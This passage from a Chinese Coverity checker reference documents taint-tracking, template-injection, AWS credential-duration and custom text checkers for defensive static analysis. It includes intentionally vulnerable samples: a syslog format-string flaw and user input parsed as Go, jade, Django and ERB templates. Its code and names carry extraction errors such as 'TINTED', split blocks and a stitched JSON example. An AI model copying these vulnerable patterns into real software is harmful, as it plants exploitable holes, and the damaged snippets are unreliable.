void *custom_copy(void *dest, void *src, size_t n) {
 if (n != 0) {
 __coverity_tainted_data_transitive__(dest, src);
 }
 return dest;
}
```

下面的模型表明，当任何从 2 开始的参数被污染时，`custom_sprintf()` 会传递污染参数 0。标准 C 接口 `sprintf` 通过类似的 stub 函数进行建模：

```
void custom_sprintf(char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_inbound__(0, 2);
}
```

此模型表明，当参数 0 被污染时，`custom_sscanf()` 会传递污染参数 2 及以后的参数：

```
void custom_sscanf(const char *str, const char *format, ...) {
 __coverity_tainted_data_transitive_vararg_outbound__(2, 0);
}
```

此模型表明，当 `b` 被污染时，`get_int()` 会返回被污染的数据：

```
int get_int(struct buffer *b) { // get_int pulls an integer out of some buffer
 int r;
 __coverity_tainted_data_transitive__(r, b->x);
 return r;
}
```

下面的模型表明，当 `i` 参数无效时 (因此不应再将其视为被污染)，`custom_sanitize()` 会返回 `true`。如果 `i` 参数无效，`custom_sanitize()` 会返回 `false`，并且分析会继续将 `i` 记录为被污染：

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
```

```
 __coverity_mark_pointee_as_sanitized__(s, TAINTED_SCALAR_GENERIC);
 return true;
}
return false;
}
```

除了库模型，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize`：指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[+taint_sanitize : arg-0]
void custom_sanitize(int i) {...}
```

- `+taint_source`（没有参数）：指明函数返回被污染的数据。

例如，下面的代码指明 `packet_get_int()` 函数返回了被污染的值：

```
// coverity[+taint_source]
unsigned int packet_get_int() {...}
```

- `+taint_source`（含有参数）：指明函数污染指定的参数。例如，下面的代码指明 `custom_read()` 函数污染了其 `buf` 参数：

```
// coverity[+taint_source : arg-1]
void custom_read(int fd, void *buf) {...}
```



### Note

`tainted_data_return`、`tainted_data_argument`、`tainted_string_return_content` 和 `tainted_string_argument` 函数注解已废弃。转为使用 `taint_source`。

`taint_source` 函数注解与以下这些检查器一起运行：

`FORMAT_STRING_INJECTION`、`HEADER_INJECTION`、`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SQL_INJECTION` 和 `XPATH_INJECTION`。

- `+tainted_data_sink`：指明函数需要净化的参数。例如，下面的代码指明 `custom_write()` 函数需要净化的 `buf` 参数：

```
// coverity[+tainted_data_sink : arg-1]
void custom_write(int fd, const void *buf, size_t count) {...}
```

Coverity Analysis 将在标量来自已知的被污染源时，仅考虑被污染的标量。您可以创建不包含 Coverity Analysis 原语的模型以覆盖推断的模型。您可以使用 `//coverity` 注解抑制各个误报。

TAIITED\_SCALAR 检查器可以推断三种不同类型错误全局信息：

- 从函数返回的值被污染。
- 函数污染了参数。

- 通过危险的方式在调用的函数中使用了可能被污染的值。

例如，假设 Coverity Analysis 不正确地分析了函数 `return_cleaned_scalar()`，并且假设它可能返回被污染的标量，而实际上返回值是安全的。要消除此类误报，您可以向库中添加以下模型：

```
int return_cleaned_scalar() {
 int ret;
 return ret;
}
```

此模型表明不会将返回的值视为被污染。

函数注解可在紧接在它们所影响函数之前的注释中写明。您可以使用函数注解忽略带有以下标记的函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-0]
void custom_sanitize(int i) {...}
```

- `-taint_source`（没有参数）：指明函数不返回被污染的数据。例如，下面的代码指明 `packet_get_int()` 函数不返回被污染的值：

```
// coverity[-taint_source]
unsigned int packet_get_int() {...}
```

- `-taint_source`（含有参数）：指明函数不污染指定的参数。例如，下面的代码指明 `custom_read()` 函数不污染其 `buf` 参数：

```
// coverity[-taint_source : arg-1]
void custom_read(int fd, void *buf) {...}
```



#### Note

`tainted_data_return`、`tainted_data_argument`、`tainted_string_return_content` 和 `tainted_string_argument` 函数注解已废弃。转为使用 `taint_source`。

`taint_source` 函数注解与以下这些检查器一起运行：

`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SQLI`、`TINTED_SCALAR`、`TINTED_STRING`、`URL_MAN` 和 `XPATH_INJECTION`。

- `-tainted_data_sink`：指明函数不需要净化的参数。例如，下面的代码指明 `custom_write()` 函数不需要净化其 `buf` 参数：

```
// coverity[-tainted_data_sink : arg-1]
void custom_write(int fd, const void *buf, size_t count) {...}
```

### 4.312. TINTED\_STRING

质量、安全检查器

#### 4.312.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

TINTED\_STRING 可查找字符串从不受信任（被污染）的源流出，通过任意可捕获危险内容的验证/净化途径，流入信任其输入的数据消费者（例如解释器）的很多情况。未通过正确验证（净化）的字符串会被视为已污染。错误地信任被污染的字符串可能导致不安全的资源读取或写入、访问控制违规、环境损坏、跨站点脚本、文件损坏、格式化字符串漏洞和其他与字符串相关安全漏洞。

由于字符数组必须验证（相对于边界检查）为单个值，字符串净化从本质上来说比标量净化更难。因此，这样做通常意味着在受信任的数据消费者中使用字符串之前将该字符串传递给净化函数。

要修复被污染的字符串缺陷，您可以使用程序员定义的格式化字符串，例如 `syslog(LOG_WARNING, "%s", error_msg)`。或者，您也可以在将格式说明符传递给 `syslog()` 代码之前进行检查。一般来说，在通过可能不安全的方式使用被污染的字符串之前，您应该先通过净化程序运行它们。

默认禁用：TINTED\_STRING 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

安全检查器启用：要与其他安全检查器一起启用 TINTED\_STRING，请在 cov-analyze 命令中使用 `--security` 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

#### 4.312.2. 缺陷剖析

TINTED\_STRING 缺陷说明了不可信（被污染）数据以不安全的方式使用的数据流路径。该数据流路径从不可信数据源开始，例如从 HTTP 请求获取输入。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该路径的最终部分说明了在风险操作（污染数据库消费者）中使用了被污染的字符串。

#### 4.312.3. 示例

本部分提供了一个或多个 TINTED\_STRING 示例。

下面是一个缺陷，因为从数据包中读取的被污染的字符串 `request` 未能作为合法请求通过验证，但仍被用于构建传递给 `syslog()` 的错误消息。如果请求包括格式说明符，则可以重写堆栈内存和执行任意代码。

```
void tainted_string_example() {
 char *request = packet_get_string();
 if (!legal_request(request)) {
 sprintf(error_msg, "Illegal request: %s", request); /* sprintf()
 transitively taints error_msg */
 ...
 syslog(LOG_WARNING, error_msg);
 }
}
```

#### 4.312.4. 选项

本部分描述了一个或多个 Tainted\_String 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- Tainted\_STRING:paranoid\_format:<boolean> - 格式化字符串注入漏洞此后由 FORMAT\_STRING\_INJECTION 检查器报告。Paranoid\_format 选项由该检查器在名称 paranoid 下泄露。
- Tainted\_STRING:trust\_command\_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 Tainted\_STRING:trust\_command\_line:false。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line cov-analyze 命令行选项。
- Tainted\_STRING:trust\_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 Tainted\_STRING:trust\_console:false。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console cov-analyze 命令行选项。
- Tainted\_STRING:trust\_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 Tainted\_STRING:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie cov-analyze 命令行选项。
- Tainted\_STRING:trust\_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 Tainted\_STRING:trust\_database:false。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database cov-analyze 命令行选项。
- Tainted\_STRING:trust\_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 Tainted\_STRING:trust\_environment:false。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment cov-analyze 命令行选项。
- Tainted\_STRING:trust\_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 Tainted\_STRING:trust\_filesystem:false。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem cov-analyze 命令行选项。
- Tainted\_STRING:trust\_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 Tainted\_STRING:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http cov-analyze 命令行选项。
- Tainted\_STRING:trust\_http\_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 Tainted\_STRING:trust\_http\_header:false。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header cov-analyze 命令行选项。
- Tainted\_STRING:trust\_network:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 Tainted\_STRING:trust\_network:false。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network cov-analyze 命令行选项。

- TINTED\_STRING:trust\_rpc:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 TINTED\_STRING:trust\_rpc:false。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc cov-analyze 命令行选项。
- TINTED\_STRING:trust\_system\_properties:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 TINTED\_STRING:trust\_system\_properties:false。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties cov-analyze 命令行选项。

#### 4.312.5. 模型和注解

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 TINTED\_STRING 创建自定义模型。

以下模型表明，packet\_get\_string() 从网络返回了被污染的字符串。

```
void *packet_get_string() {
 void *ret;
 __coverity_mark_pointee_as_tainted__(ret, TINT_TYPE_NETWORK);
 return ret;
}
```

以下模型表明，custom\_string\_read() 污染其参数 s，并且被污染的数据的源是文件系统。

```
char *custom_string_read(char *s, int size, FILE *stream) {
 __coverity_mark_pointee_as_tainted__(s, TINT_TYPE_FILESYSTEM);
 return s;
}
```

以下模型表明，当 custom\_sanitize() 返回 true 时，s 将被净化；但如果该函数返回 false，则不会被净化。

```
bool custom_sanitize(const char *s) {
 bool ok_string;
 if (ok_string == true) {
 __coverity_mark_pointee_as_sanitized__(s, GENERIC);
 return true;
 }
 return false;
}
```

以下模型表明 custom\_putenv() 相对于其参数 string 是污染数据消费者（类型为 ENVIRONMENT）。标准 C 接口 putenv 通过类似的 stub 函数进行建模：

```
void custom_putenv(char *string)
{ __coverity_taint_sink__(string, ENVIRONMENT); }
```

以下数据消费者类型也与此检查器相关：GENERIC、ENVIRONMENT、REGISTRY。

除了库模型，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- `+taint_sanitize` : 指明函数净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 净化了其 `s` 字符串参数：

```
// coverity[+taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `+taint_source` (没有参数) : 指明函数返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 返回了被污染的字符串值：

```
// coverity[+taint_source]
char* packet_get_string() {...}
```

- `+taint_source` (含有参数) : 指明函数污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容：

```
// coverity[+taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



#### Note

`tainted_data_return`、`tainted_data_argument`、`tainted_string_return_content` 和 `tainted_string_argument` 函数注解已废弃。转为使用 `taint_source`。

`taint_source` 函数注解与以下这些检查器一起运行：

`FORMAT_STRING_INJECTION`、`HEADER_INJECTION`、`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SQL_INJECTION` 和 `XPATH_INJECTION`。

- `+tainted_string_sink_content` : 指明函数需要净化的字符串参数。例如，下面的代码指明 `custom_string_read()` 需要净化的 `s` 参数：

```
// coverity[+tainted_string_sink_content : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```

您还可以注解某些 `struct` 字段，以标记它们包含被污染的数据。要注解字段，请使用以 `// coverity[+ 或 /* coverity[+` 开头的注释，后接单词 `tainted`，然后可以选择后接 `:*` (如果指向被污染的数据)，然后是 `]`。例如：

```
struct X {
 // coverity[+tainted]
 int tainted_field; // Contains tainted data
 // coverity[+tainted: *]
 int * tainted_target_field; // Points to tainted data
};
```

此注解不适用于聚合类型、结构或联合。

`TINTED_STRING` 分析使用多种类型的全局信息。正如 `TINTED_SCALAR`，Coverity Analysis 不会自行推断污染状态。因此，当字符串来自已知的被污染源时，它们只会被视为已污染。因而，创建不包含 Coverity Analysis 原语的模型是覆盖推断的模型的最简单方法。您可以使用 `//coverity` 注解抑制各个缺陷。

TINTED\_STRING 可以推断四种不同类型错误全局信息：

- 从函数返回的字符串被污染。
- 函数污染了参数。
- 函数成功净化了被污染的字符串。
- 通过危险的方式在调用的函数中使用了可能被污染的字符串。

例如，假设 Coverity Analysis 错误地分析了 `get_string(string &s)`，并且假设它污染了一个参数，而实际上并没有。您可以向库中添加以下模型以便消除此类误报：

```
size_t get_string(string &s) {
 size_t size_s;
 return size_s;
}
```

该模型表明不会将参数 `s` 视为被污染。

您可以使用以下函数注解标记忽略函数模型：

- `-taint_sanitize`：指明函数不净化字符串参数。例如，下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数：

```
// coverity[-taint_sanitize : arg-*0]
void custom_sanitize(char* s) {...}
```

- `-taint_source`（没有参数）：指明函数不返回被污染的字符串数据。例如，下面的代码指明 `packet_get_string()` 不返回被污染的字符串值：

```
// coverity[-taint_source]
char* packet_get_string() {...}
```

- `-taint_source`（含有参数）：指明函数不污染指定字符串参数的内容。例如，下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容：

```
// coverity[-taint_source : arg-0]
void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

`tainted_data_return`、`tainted_data_argument`、`tainted_string_return_content` 和 `tainted_string_argument` 函数注解已废弃。转为使用 `taint_source`。

`taint_source` 函数注解与以下这些检查器一起运行：

`FORMAT_STRING_INJECTION`、`HEADER_INJECTION`、`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SQL_INJECTION` 和 `XPATH_INJECTION`。

- `-tainted_string_sink_content`：指明函数不需要净化的字符串参数。例如，下面的代码指明 `custom_string_read()` 不需要净化的 `s` 参数：

```
// coverity[-tainted_string_sink_content : arg-0]
```

```
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

## 4.313. TEMPLATE\_INJECTION

安全检查器

### 4.313.1. 概述

支持的语言：. Go、JavaScript、Python、Ruby、TypeScript

TEMPLATE\_INJECTION 报告会无意中允许攻击者修改 Go、JavaScript 或 Python 模板（例如，使用 jade 或 mustache 编写）的源的代码的缺陷。即，它查找攻击者可以更改应该由某个模板引擎呈现的模板源字符串的情况。此类实例会使攻击者能够收集有关 Web 服务器后端基础结构的信息，或者在极端情况下允许远程执行任意代码。对于 Ruby，TEMPLATE\_INJECTION 检查器报告对 ERB 模板的注入。

默认禁用：TEMPLATE\_INJECTION 默认对 JavaScript、Python 和 TypeScript 禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

默认启用：TEMPLATE\_INJECTION 默认对 Go 和 Ruby 启用。

Web 应用程序安全检查器启用：要启用 TEMPLATE\_INJECTION 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

### 4.313.2. 缺陷剖析

TEMPLATE\_INJECTION 缺陷显示数据流路径，不可信（被污染的）数据通过该路径进入模板引擎 API 呈现调用呈现的源字符串。该路径从不可信数据的源开始（例如从 Express“request”对象读取属性），通过程序跟踪此被污染的数据，并在到达模板源将呈现为 HTML 的点时结束。

### 4.313.3. 示例

本部分提供了一个或多个 TEMPLATE\_INJECTION 示例。

#### 4.313.3.1. Go

在下面的 Go 示例中，来自用户请求的 req.FormValue ("userData") 可以是任何用户可控制的数据；当它用作模板源字符串（template.New 调用）时，将导致 TEMPLATE\_INJECTION 缺陷。

```
package main

import (
 "net/http"
 "bytes"
 "text/template"
)

func test(req *http.Request, tplData interface{}) {
```

```
userData := req.FormValue("userData")
tpl, _ := template.New("tmpName").Parse(userData) // TEMPLATE_INJECTION defect
var buf bytes.Buffer
tpl.Execute(&buf, tplData)
}
```

#### 4.313.3.2. JavaScript

在下面使用 Express 框架的示例中，作为第一个参数传递到提供给 `app.get()` 的回调函数的 Request 对象 `req` 表示客户端数据的一个不可信来源。然后，来自此请求的数据将传递到 jade 模板引擎进行渲染，这可能使攻击者可以修改 `jade.render` 调用返回的 HTML（并可能探测或返回敏感数据），或者以其他方式影响服务器上的程序执行。

```
var jade = require(jade);
var express = require('express');
var app = express();

app.get('/', function(req, res, next) {
 const name = req.query.n;
 res.write(jade.render("string of jade: " + name));
});

app.listen(3000, function() {
 console.log("Listening...");
})
```

#### 4.313.3.3. Python

在以下使用 Django 框架的示例中，使用用户可控制的数据 `taint` 来构造 Django 模板的源字符串，这会导致 TEMPLATE\_INJECTION 缺陷。

```
import requests
from django.template import Template

def Test():
 taint = requests.get('example.com').text
 t = Template("My name is {{ person.first_name }}." + taint)
 d = {"person": {"first_name": "John", "last_name": "Johnson"}}
 return t.render(d)
```

#### 4.313.3.4. Ruby

在下面的示例中，TEMPLATE\_INJECTION 检查器报告，在 Rails Action 控制器中，ERB 模板从一个不受信任的请求参数构建。

```
class TestController < ApplicationController

 # GET /test/show
 def show
 ERB.new("<html><body>" + params[:body] + "</body></html>").result # TEMPLATE_INJECTION vulnerability
 end
end
```

```
end
end
```

#### 4.313.4. 选项

本部分描述了一个或多个 TEMPLATE\_INJECTION 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- TEMPLATE\_INJECTION:distrust\_all:<boolean> - [所有语言] 将此选项设置为 true 等同于将此检查器的所有 trust\_\* 检查器选项设置为 false。默认值为 TEMPLATE\_INJECTION:distrust\_all:false。
- TEMPLATE\_INJECTION:trust\_command\_line:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将命令行参数视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_command\_line:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-command-line 和 --distrust-command-line 命令行选项。
- TEMPLATE\_INJECTION:trust\_console:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自控制台的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_console:true。设置此检查器选项会覆盖全局 --trust-console 和 --distrust-console 命令行选项。
- TEMPLATE\_INJECTION:trust\_cookie:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP Cookie 的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_cookie:false。设置此检查器选项会覆盖全局 --trust-cookie 和 --distrust-cookie 命令行选项。
- TEMPLATE\_INJECTION:trust\_database:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自数据库的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_database:true。设置此检查器选项会覆盖全局 --trust-database 和 --distrust-database 命令行选项。
- TEMPLATE\_INJECTION:trust\_environment:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自环境变量的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。
- TEMPLATE\_INJECTION:trust\_filesystem:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- TEMPLATE\_INJECTION:trust\_http:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- TEMPLATE\_INJECTION:trust\_http\_header:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为

TEMPLATE\_INJECTION:trust\_http\_header:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-http-header 和 --distrust-http-header 命令行选项。

- TEMPLATE\_INJECTION:trust\_js\_client\_cookie:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 Cookie 的数据，例如来自 document.cookie。此选项之前称为 trust\_client\_cookie。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_cookie:true。
- TEMPLATE\_INJECTION:trust\_js\_client\_external:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust\_external。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_external:false。
- TEMPLATE\_INJECTION:trust\_js\_client\_html\_element:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_html\_element:true。
- TEMPLATE\_INJECTION:trust\_js\_client\_http\_header:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_http\_header:true。
- TEMPLATE\_INJECTION:trust\_js\_client\_http\_referer:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP 头文件（来自 document.referrer）的数据。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_http\_referer:false。
- TEMPLATE\_INJECTION:trust\_js\_client\_other\_origin:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自其他框架中的内容或来自其他源的数据，例如来自客户端 JavaScript 代码中的 window.name。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_other\_origin:false。
- TEMPLATE\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:<boolean> - [JavaScript、TypeScript] 如果将此选项设置为 false，则分析不会信任来自 URL 查询或片段部分的数据，例如来自客户端 JavaScript 代码中的 location.hash 或 location.query。默认值为 TEMPLATE\_INJECTION:trust\_js\_client\_url\_query\_or\_fragment:false。
- TEMPLATE\_INJECTION:trust\_mobile\_other\_app:<boolean> - [JavaScript、TypeScript] 将此选项设置为 true 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 TEMPLATE\_INJECTION:trust\_mobile\_other\_app:false。设置此检查器选项会覆盖全局 --trust-mobile-other-app 和 --distrust-mobile-other-app 命令行选项。
- TEMPLATE\_INJECTION:trust\_mobile\_other\_privileged\_app:<boolean> - [JavaScript、TypeScript] 将此选项设置为 false 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 TEMPLATE\_INJECTION:trust\_mobile\_other\_privileged\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-other-privileged-app 和 --distrust-mobile-other-privileged-app 命令行选项。

- TEMPLATE\_INJECTION:trust\_mobile\_same\_app:<boolean> - [JavaScript、TypeScript]  
将此选项设置为 false 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_mobile\_same\_app:true。设置此检查器选项会覆盖全局 --trust-mobile-same-app 和 --distrust-mobile-same-app 命令行选项。
- TEMPLATE\_INJECTION:trust\_mobile\_user\_input:<boolean> - [JavaScript、TypeScript]  
将此选项设置为 true 会导致分析将从用户输入获取的数据视为未被污染。默认值为 TEMPLATE\_INJECTION:trust\_mobile\_user\_input:false。设置此检查器选项会覆盖全局 --trust-mobile-user-input 和 --distrust-mobile-user-input 命令行选项。
- TEMPLATE\_INJECTION:trust\_network:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自网络的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_network:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-network 和 --distrust-network 命令行选项。
- TEMPLATE\_INJECTION:trust\_rpc:<boolean> - [所有语言] 将此选项设置为 false 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_rpc:false (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-rpc 和 --distrust-rpc 命令行选项。
- TEMPLATE\_INJECTION:trust\_system\_properties:<boolean> - [所有语言] 将此 Web 应用程序安全选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 TEMPLATE\_INJECTION:trust\_system\_properties:true (适用于所有语言)。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

#### 4.313.5. 模型

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 TEMPLATE\_INJECTION 创建自定义模型。

##### 4.313.5.1. Go

在 Go 中，原语在程序包 synopsys.com/coverity-primitives/primitives 中定义，并使用 Interface 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_template_function(data interface{}) {
 TemplateSink(data);
}
```

如果 injecting\_into\_template\_function() 的参数来自不可信来源，TemplateSink() 原语将指示 TEMPLATE\_INJECTION 报告缺陷。

#### 4.314. TEMPORARY\_CREDENTIALS\_DURATION

#### 4.314.1. 概述

支持的语言：. JavaScript、TypeScript

TEMPORARY\_CREDENTIALS\_DURATION 检查器查找以下情况：AWS 安全令牌服务的 assumeRoleWithWebIdentity() 方法使用的选项中的 DurationSeconds 属性被设置为大于 4 小时的值；默认情况下，此属性被设置为 1 小时。

TEMPORARY\_CREDENTIALS\_DURATION 检查器默认禁用。您可以使用 cov-analyze 命令的 --webapp-security 选项启用它。

#### 4.314.2. 示例

本部分提供了一个或多个 TEMPORARY\_CREDENTIALS\_DURATION 示例。

在下面的示例中，针对方法 assumeRoleWithWebIdentity() 的第一个参数中设置的 DurationSeconds 属性显示 TEMPORARY\_CREDENTIALS\_DURATION 缺陷：

```
var AWS = require('aws-sdk');

const sts = new AWS.STS();
sts.assumeRoleWithWebIdentity({
 DurationSeconds: 100000, //#defect#TEMPORARY_CREDENTIALS_DURATION
 ProviderId: "graph.facebook.com"
});
```

### 4.315. TEXT.CUSTOM\_CHECKER

质量、安全（文本）检查器

#### 4.315.1. 概述

支持的语言：. Text、XML

Coverity Analysis 可提供创建用户定义的文本检查器的能力。这些检查器可用于匹配指明存在非法数据、错误配置或其他需要关注的问题的模式。

缺陷模式可以在文件的字符串内容中通过正则表达式指定。如果文件可以分析为 XML，则可以将缺陷模式指定为 Xpath 1.0 表达式。

这些检查器使用通过 cov-analyze 命令的 --directive-file 选项传递的 JSON 配置文件定义。定义 TEXT.CUSTOM\_CHECKER 的指令在《安全指令说明书》中描述。

文本检查器仅分析发出数据库中的文本数据。文本数据可通过文件系统捕获（请参阅 cov-build [🔗](#)）、通过 Java Web 应用程序归档（请参阅《Coverity Analysis 用户和管理员指南 [🔗](#)》）或在 ASP.NET 编译期间（请参阅《Coverity Analysis 用户和管理员指南 [🔗](#)》）发出。中间目录中的文本数据可以使用 cov-manage-emit list 命令（请参阅 cov-manage-emit [🔗](#)）查看。

默认启用：TEXT.CUSTOM\_CHECKER 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

顶层字段：. 用于此检查器的 JSON 配置文件中的顶层字段与针对 Web 应用程序安全文件的这些字段相同。这些在《安全指令说明书》>“顶层值”部分中描述。请阅读该部分中的重要建议和要求段落。

自定义文本检查器仅可以用于 `format_version` 值为 8 或更高的 JSON 配置文件。

自定义文本检查器可以使用任何“language”值显示在配置文件中。该检查器将仅针对文本编译单元（而不是源文件）运行，而且语言值对此不起任何作用。

指令语法：. 指令语法：数据流检查器指令是 JSON 对象。有关语法的详情，请参阅 `text_checker_name`。

#### 4.315.2. 示例

示例 1：. 匹配 JSON 配置文件中的不安全正则表达式模式。此示例展示了最少必填字段。

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Javascript",
 "directives" : [
 {
 "text_checker_name" : "TEXT.UNSAFE_SETTING",
 "file_pattern" : { "regex" : "config(-+)\\\\.json$",
 "case_sensitive" : false },
 "defect_pattern" : { "regex" : "unsafe.*::.*true" }
 }
]
}
```

此检查器将报告以下 `config.json` 文件中存在 `TEXT.UNSAFE_SETTING` 缺陷：

```
{
 "mode" : 1,
 "version" : "2.9.6",
 "unsafe" : true
}
```

示例 2：. 匹配 XML 配置文件中不安全的 XPath 表达式。

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Java",
 "directives" : [
 {
 "text_checker_name" : "TEXT.NO_TEST_SERVLETS",
 "file_pattern" : { "xpath" : "/test[@name='no-test']/script[1]/*" },
 "defect_pattern" : { "xpath" : "/test[@name='no-test']/script[1]/text() = 'no-test'" }
 }
]
}
```

```
"file_pattern" : { "regex" : "WEB-INF\\web\\.xml$",
 "case_sensitive" : false },

 "defect_pattern" : { "xpath" : "/*[local-name()='web-app']/*[local-
name()='servlet']/*[local-name()='servlet-name'][contains(text(), 'test')]"} ,

 "defect_message" : "A possible test servlet is deployed.",
 "remediation_advice" : "Test code should be removed from the production
environment.",

